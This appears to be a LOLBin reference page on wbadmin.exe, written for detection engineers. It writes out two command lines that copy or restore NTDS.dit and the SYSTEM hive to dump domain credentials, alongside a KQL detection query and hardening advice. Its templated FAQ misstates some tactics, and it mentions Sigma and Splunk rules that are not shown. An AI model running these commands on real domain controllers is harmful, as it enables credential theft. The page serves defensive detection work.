WindowsT1003.003

>wbadmin.exe

Windows Backup Administration utility

Default Executable Paths

C:\Windows\System32\wbadmin.exe

Integrity & Metadata

Category Count: 2 weaponized patterns
Forensics & Triage Insight

Documented in LOLBAS project by Chris Eastwood.

Detection Engineering Notes

Monitor process creation events where FileName is "wbadmin.exe" or command line references known attack arguments.

Executive Summary & AI Quick Reference

High-Fidelity Telemetry Profile

wbadmin.exe is a native utility pre-installed on Windows systems. Threat actors and red teams abuse wbadmin.exe as a Living-off-the-Land Binary (LOLBin) to achieve Credential Dump without triggering traditional antivirus file-hash alerts. Legitimate system administrators use it for routine administration, making behavioral command-line telemetry essential for differentiation.

Primary Abused Tactics
Credential Dump
Minimum Privilege
Administrator
Key Telemetry Source
Sysmon 1 / 4688
ATT&CK Mapping
T1003.003

Weaponized Parameters & Proof-of-Concepts

Documented attack commands, parameter flags, and privilege prerequisites.

2 documented methods
Filter Purpose:
Credential DumpPrivileges: Administrator
T1003.003: Technique T1003.003

Extract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx)

wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quiet
Credential DumpPrivileges: Administrator
T1003.003: Technique T1003.003

Restore a version of NTDS.dit and SYSTEM hive into file path. The command `wbadmin get versions` can be used to find version identifiers.

wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:{PATH_ABSOLUTE:folder} -itemtype:file -items:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -notRestoreAcl -quiet

SIEM & EDR Detection Rules

Production telemetry rules configured for Microsoft Defender, Sigma, and Splunk.

Telemetry & SIEM Detection Suite (wbadmin.exe)

Validated against MITRE T1003.003
wbadmin.exe Microsoft Defender Querykql
1// Microsoft Defender XDR / Microsoft Sentinel
2// Tactic: Credential Dump
3DeviceProcessEvents
4| where FileName =~ "wbadmin.exe"
5| where ProcessCommandLine has_any ("wbadmin")
6| project
7 Timestamp,
8 DeviceName,
9 AccountName,
10 InitiatingProcessParentFileName,
11 InitiatingProcessFileName,
12 InitiatingProcessCommandLine,
13 FileName,
14 FolderPath,
15 ProcessCommandLine,
16 MD5,
17 SHA256
18| sort by Timestamp desc

Mitigation, Hardening & Prevention

Recommended defensive controls to block or constrain wbadmin.exe abuse.

Application Whitelisting

Enforce Windows Defender Application Control (WDAC) or AppLocker publisher rules to prevent execution outside approved enterprise administration scripts.

Attack Surface Reduction

Enable ASR rules: Block executable content from email client and webmail and Block Office applications from creating child processes spawning wbadmin.exe.

Behavioral Alerting

Deploy the KQL, Sigma, and Splunk detection queries below. Alert on anomalous child processes, web requests to unrated external IPs, or encoded payload strings.

Frequently Asked Questions (FAQ) • wbadmin.exe

Key operational questions and defensive answers about wbadmin.exe LOLBin tradecraft.

What is wbadmin.exe and why is it classified as a LOLBin?

wbadmin.exe is a legitimate, pre-installed or trusted utility on Windows. It is classified as a Living-off-the-Land Binary (LOLBin) because adversaries abuse its built-in functionality to perform malicious operations—such as Credential Dump—without dropping custom malware binaries on disk.

How do threat actors abuse wbadmin.exe in cyber intrusions?

Adversaries leverage wbadmin.exe to execute stealthy actions while evading signature-based security controls. For example, attackers execute commands like "wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quiet" to achieve Credential Dump, masquerading behind legitimate system process lineage.

How can SOC analysts detect suspicious wbadmin.exe activity?

Detection engineers monitor process creation events (Windows Event ID 4688 or Sysmon Event ID 1; Linux auditd EXECVE; macOS Endpoint Security) inspecting anomalous command line arguments, unusual parent-child process relationships (e.g. Office apps or web servers spawning wbadmin.exe), and unexpected network connections.

What MITRE ATT&CK techniques does wbadmin.exe map to?

wbadmin.exe maps to MITRE ATT&CK technique(s): T1003.003. These techniques cover adversary actions across tactics such as Defense Evasion, Execution, Persistence, and Command and Control.

How can organizations mitigate and restrict wbadmin.exe?

Mitigation strategies include implementing Application Control policies (AppLocker or Windows Defender Application Control - WDAC), enforcing Attack Surface Reduction (ASR) rules, configuring strict privilege separation (disallowing standard users from running sensitive switches), and alerting on execution from non-standard directories.

Sharon Ben Moshe
Curated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection EngineerCheck Point